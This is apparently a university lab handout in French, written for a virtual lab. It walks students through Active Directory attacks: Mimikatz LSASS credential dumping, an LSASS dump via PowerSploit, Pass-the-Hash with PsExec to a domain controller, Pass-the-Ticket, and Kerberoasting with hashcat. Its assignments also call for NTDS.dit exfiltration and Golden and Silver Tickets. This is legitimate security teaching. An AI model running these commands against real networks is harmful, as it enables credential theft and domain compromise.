Master Cybersécurité Intelligente et Technologies Emergentes CITEch

Cours : Administation et sécurité de l'Active Directory

TP 3 : Introduction Aux Attaques Active Directory (AD)

Université Mohammed V de Rabat
Faculté des sciences de Rabat

Pr. Ghizlane ORHANOU
Mme Karima EL HACHIMI

2024/2025

Compétences visées

— Extraire le mot de passe des comptes locaux d'un client.
— Récupérer le mot de passe d'un compte administrateur.
— Mettre en œuvre l'attaque « Pass-the-Hash » pour obtenir un shell sur le contrôleur de domaine.
— Mettre en œuvre l'attaque « Pass-the-Ticket » pour obtenir un shell sur le contrôleur de domaine.
— Mettre en œuvre l'attaque « Kerborasting » pour obtenir un shell sur le contrôleur de domaine.

Conditions de réalisation

— VMWare Player installé

Critères de réussite

— Réaliser le même environnement du travail décrit dans l'énoncé

Avertissement

— Toutes les compétences acquises dans ce TP doivent être employées uniquement à des fins éducatives, pour la protection des systèmes et la simulation des cyberattaques de manière légale.
— En aucun cas, les compétences acquises ne doivent être utilisées pour accéder illégalement à des systèmes, voler des informations sensibles, perturber des services en ligne, ou tout autre acte illégal.
— Le non-respect de ces directives peut entraîner des conséquences légales sévères, y compris des poursuites judiciaires conformément à la législation marocaine en vigueur.

Consignes

Le compte-rendu du TP doit être rendu une semaine après la séance du TP en format en format électronique dans la classroom. Ce TP propose d'evaluer et expérimenter des attaques sur l'environnement AD.

Pour ce faire, nous allons besoin :

— Deux clients : un clients Windows 7 et un client Windows 10.
— Un serveur windows (Windows server 2012) avec le rôle ADDS(active directory domain server).

1 Déroulement du TP

Durant ce TP nous allons travailler avec des machines virtuelles. Chaque étudiant devra avoir au niveau de son ordinateur 3 machines virtuelles :

Machine	Version	Adresse IP	Nom de l'hôte
Controleur de domaine	Windows Server 2012	192.168.1.10	DC-ETUD
PC-ETUD1	Windows 7	192.168.1.20	PC-ETUD1
PC-ETUD2	Windows 10	192.168.1.21	PC-ETUD2

TABLEAU 1 – Machines virtuelles de l'environnement

Le serveur doit avoir une adresse IP fixe afin d'être toujours accessible, car il sera configuré comme DNS primaire sur les clients.

2 Attaques sur les poste clients

À cette étape, après avoir compromis les postes clients PC-ETUD1 et PC-ETUD2 lors du TP2 et obtenu les privilèges administrateur en local pour un compte ne faisant pas partie du groupe des administrateurs, nous allons exécuter des outils tels que Mimikatz, qui nécessitent par exemple le privilège SeDebugPrivilege.

2.1 Récupération des privilèges « administrateur » sur le poste PC-ETUD1 et PC-ETUD2

Les étapes suivantes décrivent toutes les étapes pour compromettre le client PC-ETUD1.

2.1.1 Extraction des mots de passe des comptes locaux PC-ETUD1

Durant cette étape, nous allons extraire le mot de passe des comptes locaux de PC-ETUD1 et récupérer le mot de passe du compte administrateur.

Nous allons simuler la connexion d'un administrateur qui laisse sa session ouverte mais verrouillée. Tout d'abord, connectez-vous avec le compte administrateur `CITECH-FSR\Administrateur`, puis changez d'utilisateur. Utilisez ensuite le compte « ana ».

Dans le dossier « `C:\Users\Desktop\Tools\mimikatz\Win32` », lancez l'utilitaire Mimikatz en tant qu'administrateur. La fonctionnalité « **sekurlsa** » permet l'extraction de mots de passe, de hachages et de tickets en exploitant le contenu en mémoire du processus **LSASS.exe (Local Security Authority Subsystem Service)**. À l'aide de Mimikatz, et plus particulièrement du module sekurlsa, il est possible d'extraire les mots de passe en clair de tous les utilisateurs locaux ou de domaine (ainsi que des services) disposant d'une session ouverte.

Après avoir lancé l'outil Mimikatz, activez le mode debug avec la commande suivante :

```
privilege::debug
```

Après une exécution de la commande, un message de confirmation de la bonne obtention des droits sera affiché.

Maintenant, il faut extraire les mot de passe des sessions en cours avec la commande suivante :

```
sekurlsa::logonpasswords full
```

Vérifiez si les mots de passe et les hash apparaissent bien pour les algorithmes LM, NTLM et SHA1. Vous avez désormais en possession des mots de passe en clair stockés dans le service LSASS.

Qu'est-ce que le processus LSASS dans un système Windows ? Que permet -il de faire ? Qu'est-ce qu'un privilège ?

2.1.2 Extraction du hash du mot de passe d'un compte administrateur de domaine connecté à PC-ETUD2

Bien que l'outil Mimikatz est puissant dans l'extraction des mots de passe. Microsoft a implémenté la règle d'Attack Surface Reduction (ASR) bloquant l'accès à lsass.exe à partir de Windows 10 version 1803 pour éviter l'extraction en direct des mots de passe et des « hashes » de mot de passe. De plus, les signatures « HackTool :Win32/Mimikatz.ESM » et « Trojan :Win64/Mimikatz » ont été déployées via les mises à jour

de Microsoft Defender Antivirus.

Il est possible de contourner cette protection mis en place avec d'autres outils et utiliser mimikatz pour analyser le fichier dump généré par l'outil powershell.

Pour effectuer ce TP, il est nécessaire que l'administrateur de votre domaine `CITECH-FSR\Administrateur` se connecte à votre poste et laisse sa session ouverte mais verrouillée. Windows permet sans problème la gestion de plusieurs sessions utilisateurs simultanées.

a) Connectez-vous avec le compte « Administrateur » local.

b) Installez le module powershell «**powersploit**» fournit et placer le dans répertoire des modules powershell «`C:\Windows\System32\WindowsPowershell\v1.0\Modules`». Copiez le dossier complet «**powersploit**» dans le répertoire indiqué.

c) Vérifiez que le module « powersploit » est bien disponible avec la commande suivante :

```
Get-Module -ListAvailable
```

d) Importer le module dans une commande « powershell » :

```
Import-Module Powersploit
```

En cas de problème d'exécution du script, exécuter la commande suivante :

```
Set-ExecutionPolicy -Scope Process Bypass
Set-ExecutionPolicy -ExecutionPolicy RemoteSigned
```

e) Placez-vous dans le répertoire « Exfiltration » du dossier « PowerSploit », puis exécutez la commande :

```
.\Invoke-Mimikatz.ps1
```

f) Générez un dump du processus « lsass » en exécutant la commande suivante :

```
Get-Process lsass | Out-Minidump
```

g) Avec l'outil Mimikatz, il est possible de récupérer le hash du compte administrateur du domaine à partir du fichier de dump. Lancez l'outil « mimikatz » en tant qu'administrateur, puis saisissez les commandes suivantes :

```
privilege::debug
sekurlsa::minidump chemin_vers_dump
log sekurlsa-logonpasswords.txt
sekurlsa::logonpasswords
log
```

h) Le hash du compte administrateur du domaine a maintenant été récupéré. Il est possible de lancer une attaque de type pass-the-hash vers le contrôleur de domaine.

3 Attaques sur l'annuaire Active Directory

3.1 Attaque Pass-the-Hash

Après avoir récupéré le hash du mot de passe, nous allons mettre en œuvre l'attaque « Pass-the-Hash » pour obtenir un shell sur le contrôleur de domaine. Nous allons utiliser mimikatz pour effectuer l'attaque.

a) Ouvrir une session avec le compte administrateur local Windows sur PC-ETUD1.

b) Lancez l'interpréteur de commande « cmd » en tant qu'administrateur.

c) Lancez l'outil « mimikatz ».

d) Saisissez les commandes suivantes dans « mimikatz », en veillant à indiquer correctement le nom du compte administrateur du domaine ainsi que son hash :

```
privilege::debug
sekurlsa::pth /user:Administrateur /domain:CITECH-FSR /ntlm:HASH
```

Avec "HASH" le hash de mot de passe récupéré durant la première étape.

La commande exécutée dans Mimikatz a généré une nouvelle fenêtre de commandes, créant ainsi un nouveau processus « cmd » avec un jeton d'accès modifié. L'identité affichée reste celle du compte utilisateur local. Pourquoi l'identité ne semble pas changer malgré le jeton modifié ?

Pour lancer un shell sur le contrôleur de domaine, il suffit de lancer une demande de connexion à distance avec l'outil « PsExec.exe » dans le dossier Tools. Avec l'invité de commandes, exécutez les commandes suivantes :

```
cd C:\Users\citech\Tools\PSTool
PsExec.exe -acceptEula \\DC-ETUD cmd
```

Le processus est désormais connecté au contrôleur de domaine avec l'identité de l'administrateur du domaine. Vous pouvez vérifier avec la commande suivante :

```
whoami
```

Il est maintenant possible de lancer l'interpréteur PowerShell, d'effectuer des recherches dans l'Active Directory, de créer un compte utilisateur et de l'ajouter au groupe des administrateurs du domaine.
Vous pouvez désormais exfiltrer de la base « NTDS.DIT ». NTDS.DIT (initialement appelé **NTDS** pour **NT Directory Services**) est une base de données permet de stocker les informations de l'Active Directory, notamment sur les objets utilisateur, les groupes. Le fichier NTDS est stocké sur chaque contrôleur de domaine et est créé lorsqu'un serveur Windows est promu contrôleur de domaine. Son emplacement par default est le suivant : `%SystemRoot%\ntds\NTDS.DIT`.

Devoir I

Exfiltrez la base de données NTDS.dit du contrôleur de domaine Active Directory, puis extraire les hashs des mots de passe qu'elle contient. Expliquerez brièvement les outils et les étapes utilisés pour réaliser cette opération, en précisant les droits nécessaires et les éventuelles précautions de sécurité. Enfin, vous présenterez les risques liés à ce type d'attaque et les mesures de protection permettant de s'en prémunir.

3.2 Attaque Pass-the-Ticket

Durant cette étape, nous allons utiliser un ticket Kerberos volé pour accéder à une ressource réseau sans avoir besoin du mot de passe.

Après avoir lancé l'outil Mimikatz, Il suffit d'extraire les tickets Kerberos avec les commandes suivantes :

```
privilege::debug
sekurlsa::tickets
```

Tous les tickets Kerberos présents en mémoire ont été affichés par la dernière commande.

Maintenant, il faut repère un ticket de type **krbtgt** ou lié à un service sensible. Ensuite, notez le Nom d'utilisateur associé et l'ID du ticket.

Pour exporter le ticket, nous allons utiliser la commande suivante sur Mimikatz :

```
sekurlsa::tickets /export
```

A travers cette commande, les tickets sont exportés sous forme de fichiers **.kirbi** dans le répertoire de Mimikatz. Sur la machine PC-ETUD1, injectez le ticket volé avec la commande suivante :

```
kerberos::ptt kirbi_path
```

Avec kirbi_path le chemin vers le ticket stocké dans .kirbi.

Mimikatz a injecté le ticket volé dans la session actuelle. Pour vérifier, il suffit d'accéder aux ressources protégées comme étant l'utilisateur victime. A titre d'exemple, essayez d'accéder aux partage réseau suivant :

```
dir \\dc-etud.citech-fsr.local\c$
```

Le ticket injecté n'est valide que pendant sa durée de vie (TGT = 10 heures par défaut).

Comment empêcher l'extraction des tickets Kerberos ?

Devoir II

Expliquez clairement la différence entre une attaque Pass-the-Ticket (PtT) et une attaque Golden Ticket. Réalisez ensuite une attaque Golden Ticket afin de maintenir un accès persistant.

Bonus : Proposez des mécanismes de protection permettant de détecter ou d'empêcher une attaque Golden Ticket dans un environnement Active Directory.

Devoir III

Avec les accès que vous disposez pour extraire le hash du service principal name (SPN) du serveur applicatif appsrv.fsr.local. Votre mission est de réaliser une attaque Silver Ticket. Pour cela, vous devrez identifier le SPN cible, extraire ou forger un ticket Kerberos TGS correspondant en utilisant les informations du service et du hash de la clé de service, puis présenter la commande utilisée pour générer le Silver Ticket et sa validation sur la machine cible . Vous devrez expliquer chaque étape, justifier vos choix techniques, et proposer des mesures de défense contre ce type d'attaque.

3.3 Attaque Kerberoasting

Durant cette étape, nous allons mettre en œuvre une attaque Kerberoasting pour récupérer les mots de passe de comptes de service Active Directory à partir de tickets Kerberos.

Utilisez Mimikatz pour demander et extraire les tickets :

```
kerberos::list /export
```

Une fois les TGS capturés, sous Kali, utilisez un outil de bruteforce comme Hashcat pour casser les mots de passe :

```
hashcat -m 13100 kerberoast_hashes.txt rockyou.txt
```

Avec Type -m 13100 = pour Kerberos 5 TGS-REP et AES256.

Le succès de cette attaque dépend de la faiblesse du mot de passe du compte de service.

Conclusion

Ce TP nous a permis de découvrir et de mettre en œuvre plusieurs attaques ciblant Active Directory, notamment Pass-the-Hash, Pass-the-Ticket, et Kerberoasting. Ces attaques mettent en évidence des failles structurelles du fonctionnement de Kerberos, particulièrement lorsqu'une mauvaise hygiène de sécurité est présente (mots de passe faibles, SPN mal protégés, etc.).